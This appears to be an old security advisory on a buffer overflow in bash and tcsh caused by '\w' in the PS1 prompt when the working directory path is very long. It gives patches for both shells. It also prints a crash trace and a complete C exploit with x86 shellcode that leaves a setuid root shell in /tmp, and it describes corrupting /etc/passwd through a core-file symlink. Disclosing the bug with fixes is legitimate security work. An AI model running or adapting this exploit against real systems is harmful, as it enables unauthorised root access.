COMMAND
bash and tcsh
SYSTEMS AFFECTED
Systems running bash 1.14.7(1), 2.0.0 (Linux, others?)
PROBLEM
Before you read on, take a look at 'mUNIXes' section at 'bash
#3' found by Razvan Dragomirescu which found basicly the same
thing.
Joao Manuel Carolino found following. If you cd in to a directory
which has a path name larger than 1024 bytes and you have '\w'
included in your PS1 environment variable (which makes the path to
the current working directory appear in each command line prompt),
a buffer overflow will occur. The following was tested on
Slackware 3.5:
einstein:~# gdb bash
[...]
(gdb) r
Starting program: /bin/bash
bash# PS1='\w '
~ cd /tmp
/tmp mkdir `perl -e 'print "A" x 255'`
/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
/tmp cd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA/
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x804ed72 in sigprocmask ()
(gdb) backtrace
#0 0x804ed72 in sigprocmask ()
#1 0xe9 in ?? ()
#2 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
Following exploit was tested on Linux x86 systems:
Debian 1.3.1, bash 2.0.0(1)
Red Hat 5.0, bash 1.4.17(1)
How it works? Run it as ordinary user:
[debian]:~$ id
uid=1000(test) gid=1000(test) groups=1000(test)
[debian]:~$ ./bashps1
BASH '\w' option in PS1 exploit example
- Creating /tmp/tp.c
- Compiling /tmp/tp.c to /tmp/tp
- Removing /tmp/tp.c
- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...
- OK
If everything goes fine you should have 'tp' file in /tmp dir:
[debian]:~$ ls -l /tmp/tp
-rwxr-xr-x 1 test test 3981 Sep 4 20:54 tp
Then as root do:
bash# export PS1='bash:\w\$ '
debian:~# cd ~test
debian:/home/test# cd AAAAAAAA*/*/*/*/*
shell-init: could not get current directory: getwd: cannot access parent directories
shell-init: could not get current directory: getwd: cannot access parent directories
The bash dies... Check if there is suid shell in tmp dir:
[debian]:~$ ls -l /tmp/sh
-rwsr-sr-x 1 root root 304676 Sep 4 20:55 sh
Remember, whole directories are treated here as x86 assembler
instructions, so AAA.../AAA... are:
incl %ecx
incl %ecx
incl %ecx
...
das
incl %ecx
incl %ecx
incl %ecx
...
So you can't change it on ordinary words, unless you know what you
are doing. Here is it the code:
/*
* BASH: '\w' in PS1 environment variable - x86 exploit
* by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
*
* - tested on: DEBIAN LINUX 1.3.1, BASH 2.0.0(1)
* RED HAT LINUX 5.0, BASH 1.4.17(1)
*
* THIS IS FOR EDUCATIONAL PURPOSES ONLY
* USE IT AT YOUR OWN RISK
*
* When run, this program creates directories:
* AAAAAA....../AAAAAA....../AAAAAA....../CODE......./RETADDR.....
* (255 bytes) (255 bytes) (255 bytes) (50 bytes) (255 bytes)
*
* When you have '\w' included in your PS1 env. variable and
* enter to the last of this directories, then "/tmp/tp" program is
* executed and SUID shell "/tmp/sh" is created
*/
#include <unistd.h>
/*
* Code we would like to run when stack is smashed
*/
char code[] =
"\xeb\x24" /* jmp GETADDR */
/* RUNPROG: */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xfe\x06" /* incb (%esi) */
"\xfe\x46\x04" /* incb 0x4(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */
/* GETADDR: */
"\xe8\xd7\xff\xff\xff" /* call RUNPROG */
".tmp.tp"; /* Program to run .XXX.XX */
/*
* Return address, you may have to change it if expl. doesn't works
*/
int ADDR=0xbffff2ff;
void main(void) {
char dir[256];
int i, align;
printf("BASH '\\w' option in PS1 exploit example\n");
printf("- Creating /tmp/tp.c\n");
system("echo 'main() {' > /tmp/tp.c");
system("echo 'system(\"cp /bin/sh /tmp/sh\");' >> /tmp/tp.c");
system("echo 'system(\"chmod +s /tmp/sh\");' >> /tmp/tp.c");
system("echo '}' >> /tmp/tp.c");
printf("- Compiling /tmp/tp.c to /tmp/tp\n");
system("gcc -o /tmp/tp /tmp/tp.c");
printf("- Removing /tmp/tp.c\n");
system("rm -f /tmp/tp.c");
/* Computing alignment for the 'address' directory */
getcwd(dir,255);
align=(strlen(dir)+2) % 4;
memset(dir,'A',255);
dir[255]=0;
printf("- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...\n");
mkdir(dir,0777);
chdir(dir);
mkdir(dir,0777);
chdir(dir);
mkdir(dir,0777);
chdir(dir);
/* create directory which name is our code */
mkdir(code,0777);
chdir(code);
/* create directory which name is return addresses */
for(i=align;i<252;i+=4) *(int *)&dir[i]=ADDR;
mkdir(dir,0777);
chdir("../../../../");
printf("- OK\n\n");
}
Setting PS1 to any long string will have the same effect. This
is a bug in libreadline (more precisely, in rl_redisplay() in
.../lib/readline/display.c), and it is still present in
bash-2.02.1. Some further looking revealed bash segfaulted on
doing a strlen on the length of the cwd, after getcwd() returned
NULL since the cwd was too long.
Possible exploit could lead intruder to make symbolic link of a
/etc/passwd with core. Now, if root for whatever reason decides
to cd into this...then the shell will die and core which will
follow the symlink and corrupt /etc/passwd.
Wichert Akkerman found tcsh has the same problems. Although
tcsh-scripts are very uncommon, it's still exploitable.
SOLUTION
This is a bug in libreadline (more precisely, in rl_redisplay() in
.../lib/readline/display.c), and it is still present in
bash-2.02.1. Some further looking revealed bash segfaulted on
doing a strlen on the length of the cwd, after getcwd() returned
NULL since the cwd was too long. Both patches follows (last one
fixes that by setting PWD to "." if the cwd is too long). It
seems this was fixed in bash-2.02.
Patch No1:
diff -ru bash-2.02.1.orig/lib/readline/display.c bash-2.02.1/lib/readline/display.c
--- bash-2.02.1.orig/lib/readline/display.c Sat Sep 5 14:51:29 1998
+++ bash-2.02.1/lib/readline/display.c Sat Sep 5 15:08:57 1998
@@ -307,6 +307,20 @@
}
}
+static void
+_rl_extend_buffers (int max_size)
+{
+ if (max_size >= line_size)
+ {
+ while (max_size >= line_size)
+ {
+ line_size *= 2;
+ }
+ visible_line = xrealloc (visible_line, line_size);
+ invisible_line = xrealloc (invisible_line, line_size);
+ }
+}
+
/* Basic redisplay algorithm. */
void
rl_redisplay ()
@@ -373,6 +387,8 @@
if (local_len > 0)
{
+ _rl_extend_buffers(out + local_len);
+ line = invisible_line;
strncpy (line + out, local_prompt, local_len);
out += local_len;
}
@@ -399,6 +415,8 @@
}
pmtlen = strlen (prompt_this_line);
+ _rl_extend_buffers(out + pmtlen);
+ line = invisible_line;
strncpy (line + out, prompt_this_line, pmtlen);
out += pmtlen;
line[out] = '\0';
@@ -440,13 +458,8 @@
{
c = (unsigned char)rl_line_buffer[in];
- if (out + 8 >= line_size) /* XXX - 8 for \t */
- {
- line_size *= 2;
- visible_line = xrealloc (visible_line, line_size);
- invisible_line = xrealloc (invisible_line, line_size);
- line = invisible_line;
- }
+ _rl_extend_buffers(out + 8); /* XXX - 8 for \t */
+ line = invisible_line;
if (in == rl_point)
{
Patch No2:
diff -ru org/bash-2.01.1/builtins/cd.def bash-2.01.1/builtins/cd.def
--- org/bash-2.01.1/builtins/cd.def Fri Apr 11 18:55:47 1997
+++ bash-2.01.1/builtins/cd.def Sun Sep 6 00:53:16 1998
@@ -146,11 +146,19 @@
needing a remake. */
if (old_anm == 0 && array_needs_making && exported_p (tvar))
{
- pwdvar = xmalloc (strlen (dirname) + 5); /* 5 = "PWD" + '=' + '\0' */
- strcpy (pwdvar, "PWD=");
- strcpy (pwdvar + 4, dirname);
- add_or_supercede_exported_var (pwdvar, 0);
- array_needs_making = 0;
+ if (dirname!=0)
+ {
+ pwdvar = xmalloc (strlen (dirname) + 5); /* 5 = "PWD" + '=' + '\0' */
+ strcpy (pwdvar, "PWD=");
+ strcpy (pwdvar + 4, dirname);
+ }
+ else
+ {
+ pwdvar=xmalloc (6);
+ strcpy (pwdvar, "PWD=.");
+ }
+ add_or_supercede_exported_var (pwdvar, 0);
+ array_needs_making = 0;
}
FREE (dirname);
Patch for tcsh (Note: not all systems have getcwd()... This will
have to be fixed in the next version):
--- tcsh-6.07.06.orig/sh.dir.c
+++ tcsh-6.07.06/sh.dir.c
@@ -78,7 +78,7 @@
char path[MAXPATHLEN];
/* Don't believe the login shell home, because it may be a symlink */
- tcp = (char *) getwd(path);
+ tcp = (char *) getcwd(path, MAXPATHLEN);
if (tcp == NULL || *tcp == '\0') {
xprintf("%s: %s\n", progname, path);
if (hp && *hp) {
@@ -549,7 +549,8 @@
}
#endif /* apollo */
- (void) strcpy(ebuf, short2str(cp));
+ (void) strncpy(ebuf, short2str(cp), MAXPATHLEN); // WTA: make sure we don't overflow ebuf
+ ebuf[MAXPATHLEN-1]=0;
/*
* if we are ignoring symlinks, try to fix relatives now.
* if we are expading symlinks, it should be done by now.
@@ -1061,7 +1062,7 @@
#endif /* apollo */
continue; /* canonicalize the link */
}
-#endif /* S_IFLNK */
+#endif /* S_IFLNKXYZ */
if (slash)
*p = '/';
}
@@ -1096,7 +1097,8 @@
/*
* Start comparing dev & ino backwards
*/
- p2 = Strcpy(link, cp);
+ p2 = Strncpy(link, cp, MAXPATHLEN); // WTA: remember that length-check!
+ link[MAXPATHLEN-1]=0;
found = 0;
while (*p2 && stat(short2str(p2), &statbuf) != -1) {
if (DEV_DEV_COMPARE(statbuf.st_dev, home_dev) &&
@@ -1119,7 +1121,7 @@
cp = newcp;
}
}
-#endif /* S_IFLNK */
+#endif /* S_IFLNKXYZ */
#ifdef apollo
if (slashslash) {
@@ -1255,7 +1257,9 @@
return (0);
}
}
- (void) Strcpy(s, dp->di_name);
+
+ (void) Strncpy(s, dp->di_name, MAXPATHLEN); // WTA: assume MAXPATHLEN is okay
+ s[MAXPATHLEN-1]=0;
return (1);
}